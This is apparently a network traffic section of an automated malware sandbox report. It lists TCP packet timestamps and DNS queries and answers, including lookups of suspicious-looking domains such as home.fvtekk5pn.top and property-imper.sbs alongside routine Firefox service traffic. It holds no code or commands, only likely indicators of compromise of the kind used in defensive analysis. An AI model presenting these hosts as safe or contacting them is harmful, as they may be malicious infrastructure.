Nov 23, 2024 03:21:25.099874020 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.099936008 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.099936008 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.100289106 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.100421906 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.100724936 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.101349115 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.101413012 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.101459026 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.102338076 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.102444887 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.102500916 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.103355885 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.103423119 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.103476048 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.104409933 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.104500055 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.104660988 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.105370045 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.105478048 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.105520964 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.106383085 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.106543064 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.106597900 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.107434988 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.107541084 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.107604027 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.108422995 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.108566046 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.108634949 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.109469891 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.109571934 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.109630108 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.110469103 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.110582113 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.110637903 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.111480951 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.111596107 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.111638069 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.112489939 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.112606049 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.112693071 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.113580942 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.113675117 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.113727093 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.114016056 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.114511967 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.114624977 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.114669085 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.115541935 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.115648031 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.116357088 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.116538048 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:25.126477957 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:25.213989973 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.214106083 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.214169979 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.214567900 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.214658976 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.214679003 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.214715004 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.215614080 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.215662003 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.215769053 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.215862989 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.216672897 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.216758966 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.216928959 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.243402958 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.243529081 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.243726015 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.243834019 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.243834019 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.243974924 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.244929075 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.245050907 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.245187998 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.246100903 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.246216059 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.246236086 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.246475935 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.247297049 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.247399092 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.248491049 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.248613119 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.248648882 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.249679089 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.249793053 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.249886990 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.250653028 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.250863075 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.250981092 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.251153946 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.252063990 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.252180099 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:25.252197981 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:25.252379894 CET	49790	80	192.168.2.4	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 23, 2024 03:21:19.820111036 CET	192.168.2.4	1.1.1.1	0x3b58	Standard query (0)	home.fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:19.820183992 CET	192.168.2.4	1.1.1.1	0x5650	Standard query (0)	home.fvtekk5pn.top	28	IN (0x0001)	false
Nov 23, 2024 03:21:28.367711067 CET	192.168.2.4	1.1.1.1	0x292e	Standard query (0)	property-imper.sbs	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:46.634393930 CET	192.168.2.4	1.1.1.1	0x38a8	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:46.634685040 CET	192.168.2.4	1.1.1.1	0xffe5	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 23, 2024 03:21:49.750520945 CET	192.168.2.4	1.1.1.1	0xb895	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:49.750766993 CET	192.168.2.4	1.1.1.1	0x5769	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 23, 2024 03:21:50.318368912 CET	192.168.2.4	1.1.1.1	0x1078	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:50.457051039 CET	192.168.2.4	1.1.1.1	0x233b	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 03:21:52.760484934 CET	192.168.2.4	1.1.1.1	0x55c0	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:52.898511887 CET	192.168.2.4	1.1.1.1	0x7e26	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:52.944458961 CET	192.168.2.4	1.1.1.1	0xae24	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:53.040416956 CET	192.168.2.4	1.1.1.1	0x262d	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 23, 2024 03:21:53.082488060 CET	192.168.2.4	1.1.1.1	0xed6	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:53.273010969 CET	192.168.2.4	1.1.1.1	0x2659	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 03:21:53.793106079 CET	192.168.2.4	1.1.1.1	0xb30d	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:53.808796883 CET	192.168.2.4	1.1.1.1	0xfef0	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:54.143393040 CET	192.168.2.4	1.1.1.1	0x46bf	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:54.144248009 CET	192.168.2.4	1.1.1.1	0x4ef2	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:54.296411037 CET	192.168.2.4	1.1.1.1	0x4a8b	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 03:21:54.305895090 CET	192.168.2.4	1.1.1.1	0xdbc1	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 03:21:54.321839094 CET	192.168.2.4	1.1.1.1	0xaa82	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:54.462167025 CET	192.168.2.4	1.1.1.1	0xc3d8	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 03:21:54.665900946 CET	192.168.2.4	1.1.1.1	0xb33b	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:54.837225914 CET	192.168.2.4	1.1.1.1	0x5df1	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:54.986768961 CET	192.168.2.4	1.1.1.1	0xc069	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 03:21:55.076395988 CET	192.168.2.4	1.1.1.1	0xfe8e	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:55.131679058 CET	192.168.2.4	1.1.1.1	0xf49	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:58.992767096 CET	192.168.2.4	1.1.1.1	0x1420	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:59.100425959 CET	192.168.2.4	1.1.1.1	0x9a2f	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:01.823369980 CET	192.168.2.4	1.1.1.1	0xd436	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:01.824430943 CET	192.168.2.4	1.1.1.1	0xae54	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 23, 2024 03:22:05.183285952 CET	192.168.2.4	1.1.1.1	0x1158	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:05.183402061 CET	192.168.2.4	1.1.1.1	0x482	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 23, 2024 03:22:27.173320055 CET	192.168.2.4	1.1.1.1	0xbd64	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:27.175976038 CET	192.168.2.4	1.1.1.1	0xf852	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 23, 2024 03:22:29.879585981 CET	192.168.2.4	1.1.1.1	0x9d13	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:29.879733086 CET	192.168.2.4	1.1.1.1	0xb9aa	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 23, 2024 03:22:39.936532974 CET	192.168.2.4	1.1.1.1	0xc29e	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:39.936676025 CET	192.168.2.4	1.1.1.1	0xf888	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Nov 23, 2024 03:22:43.186245918 CET	192.168.2.4	1.1.1.1	0x40ab	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 03:22:43.607611895 CET	192.168.2.4	1.1.1.1	0xb4f5	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:43.689867973 CET	192.168.2.4	1.1.1.1	0x75cc	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:43.726979971 CET	192.168.2.4	1.1.1.1	0xda3d	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 03:22:43.839705944 CET	192.168.2.4	1.1.1.1	0xdf1f	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:43.891383886 CET	192.168.2.4	1.1.1.1	0xede9	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:43.934983969 CET	192.168.2.4	1.1.1.1	0x6c89	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:43.983855009 CET	192.168.2.4	1.1.1.1	0xc7cf	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 03:22:44.037401915 CET	192.168.2.4	1.1.1.1	0x5366	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 03:22:44.054122925 CET	192.168.2.4	1.1.1.1	0x99e0	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.090780020 CET	192.168.2.4	1.1.1.1	0x89c4	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.198532104 CET	192.168.2.4	1.1.1.1	0x4331	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.226784945 CET	192.168.2.4	1.1.1.1	0x4765	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.237765074 CET	192.168.2.4	1.1.1.1	0xa263	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 03:22:44.355638981 CET	192.168.2.4	1.1.1.1	0x1117	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 03:22:44.385644913 CET	192.168.2.4	1.1.1.1	0xdcd7	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 03:22:44.451071024 CET	192.168.2.4	1.1.1.1	0xf320	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.494833946 CET	192.168.2.4	1.1.1.1	0x539b	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.527538061 CET	192.168.2.4	1.1.1.1	0x8a10	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.598907948 CET	192.168.2.4	1.1.1.1	0x62fb	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.652249098 CET	192.168.2.4	1.1.1.1	0x4c7e	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.682600021 CET	192.168.2.4	1.1.1.1	0xf3f1	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.740673065 CET	192.168.2.4	1.1.1.1	0x89e8	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Nov 23, 2024 03:22:44.792618036 CET	192.168.2.4	1.1.1.1	0x2d1c	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Nov 23, 2024 03:22:44.834490061 CET	192.168.2.4	1.1.1.1	0xe85d	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Nov 23, 2024 03:22:44.905503988 CET	192.168.2.4	1.1.1.1	0x8251	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:44.944708109 CET	192.168.2.4	1.1.1.1	0xbc4e	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:45.045371056 CET	192.168.2.4	1.1.1.1	0x3f0e	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:45.108216047 CET	192.168.2.4	1.1.1.1	0x2fe2	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:45.108856916 CET	192.168.2.4	1.1.1.1	0x20dd	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:45.261213064 CET	192.168.2.4	1.1.1.1	0xd301	Standard query (0)	twitter.com	28	IN (0x0001)	false
Nov 23, 2024 03:22:45.267137051 CET	192.168.2.4	1.1.1.1	0x9f93	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Nov 23, 2024 03:22:45.511168003 CET	192.168.2.4	1.1.1.1	0x9f93	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Nov 23, 2024 03:22:47.421972990 CET	192.168.2.4	1.1.1.1	0x8fae	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:47.563169956 CET	192.168.2.4	1.1.1.1	0x7a7	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:47.784496069 CET	192.168.2.4	1.1.1.1	0x7a7	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:22:47.906305075 CET	192.168.2.4	1.1.1.1	0x20a9	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 03:22:48.128108978 CET	192.168.2.4	1.1.1.1	0x20a9	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 03:22:50.647422075 CET	192.168.2.4	1.1.1.1	0x8c77	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 03:23:01.906824112 CET	192.168.2.4	1.1.1.1	0x2e10	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 03:23:13.240510941 CET	192.168.2.4	1.1.1.1	0x9646	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 03:23:13.257658958 CET	192.168.2.4	1.1.1.1	0x1145	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:23:13.274108887 CET	192.168.2.4	1.1.1.1	0xcac0	Standard query (0)	normandy.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:23:13.412950039 CET	192.168.2.4	1.1.1.1	0xe62f	Standard query (0)	normandy-cdn.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:23:13.489001989 CET	192.168.2.4	1.1.1.1	0x1145	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:23:13.553363085 CET	192.168.2.4	1.1.1.1	0x7fca	Standard query (0)	normandy-cdn.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 03:23:13.563942909 CET	192.168.2.4	1.1.1.1	0x9ca5	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:23:13.703648090 CET	192.168.2.4	1.1.1.1	0x6edf	Standard query (0)	services.addons.mozilla.org	28	IN (0x0001)	false
Nov 23, 2024 03:23:14.525161028 CET	192.168.2.4	1.1.1.1	0x4196	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:23:14.756916046 CET	192.168.2.4	1.1.1.1	0x4196	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:23:23.517899990 CET	192.168.2.4	1.1.1.1	0x6153	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 03:23:42.843982935 CET	192.168.2.4	1.1.1.1	0xb8dc	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 03:24:05.251118898 CET	192.168.2.4	1.1.1.1	0xbc22	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:24:05.393229961 CET	192.168.2.4	1.1.1.1	0x7b84	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 03:24:44.627552986 CET	192.168.2.4	1.1.1.1	0xf8fa	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:25:26.757200003 CET	192.168.2.4	1.1.1.1	0x4381	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:25:26.897082090 CET	192.168.2.4	1.1.1.1	0xe42a	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:25:27.035257101 CET	192.168.2.4	1.1.1.1	0x9330	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 03:25:28.347981930 CET	192.168.2.4	1.1.1.1	0x97a4	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:25:44.316595078 CET	192.168.2.4	1.1.1.1	0x18a9	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 03:26:39.935237885 CET	192.168.2.4	1.1.1.1	0x7267	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:26:39.935360909 CET	192.168.2.4	1.1.1.1	0xe850	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Nov 23, 2024 03:27:45.311826944 CET	192.168.2.4	1.1.1.1	0x6ff7	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:28:00.103825092 CET	192.168.2.4	1.1.1.1	0x307e	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:28:08.530864954 CET	192.168.2.4	1.1.1.1	0xcea2	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:28:08.669015884 CET	192.168.2.4	1.1.1.1	0x2f4	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:28:08.809868097 CET	192.168.2.4	1.1.1.1	0xd3ee	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 23, 2024 03:21:20.652293921 CET	1.1.1.1	192.168.2.4	0x3b58	No error (0)	home.fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:28.510344028 CET	1.1.1.1	192.168.2.4	0x292e	No error (0)	property-imper.sbs		172.67.162.84	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:28.510344028 CET	1.1.1.1	192.168.2.4	0x292e	No error (0)	property-imper.sbs		104.21.33.116	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:47.107523918 CET	1.1.1.1	192.168.2.4	0x38a8	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:49.888046980 CET	1.1.1.1	192.168.2.4	0xb895	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:50.305794954 CET	1.1.1.1	192.168.2.4	0x9f11	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:50.456119061 CET	1.1.1.1	192.168.2.4	0x1078	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:52.897583008 CET	1.1.1.1	192.168.2.4	0x55c0	No error (0)	youtube.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:53.035490036 CET	1.1.1.1	192.168.2.4	0x7e26	No error (0)	youtube.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:53.081444025 CET	1.1.1.1	192.168.2.4	0xae24	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:21:53.081444025 CET	1.1.1.1	192.168.2.4	0xae24	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:53.219850063 CET	1.1.1.1	192.168.2.4	0xed6	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:53.276832104 CET	1.1.1.1	192.168.2.4	0x262d	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 23, 2024 03:21:53.410562038 CET	1.1.1.1	192.168.2.4	0x2659	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 23, 2024 03:21:53.930268049 CET	1.1.1.1	192.168.2.4	0xb30d	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:53.946471930 CET	1.1.1.1	192.168.2.4	0xfef0	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 03:21:53.946471930 CET	1.1.1.1	192.168.2.4	0xfef0	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:54.280241966 CET	1.1.1.1	192.168.2.4	0x46bf	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 03:21:54.282229900 CET	1.1.1.1	192.168.2.4	0x4ef2	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
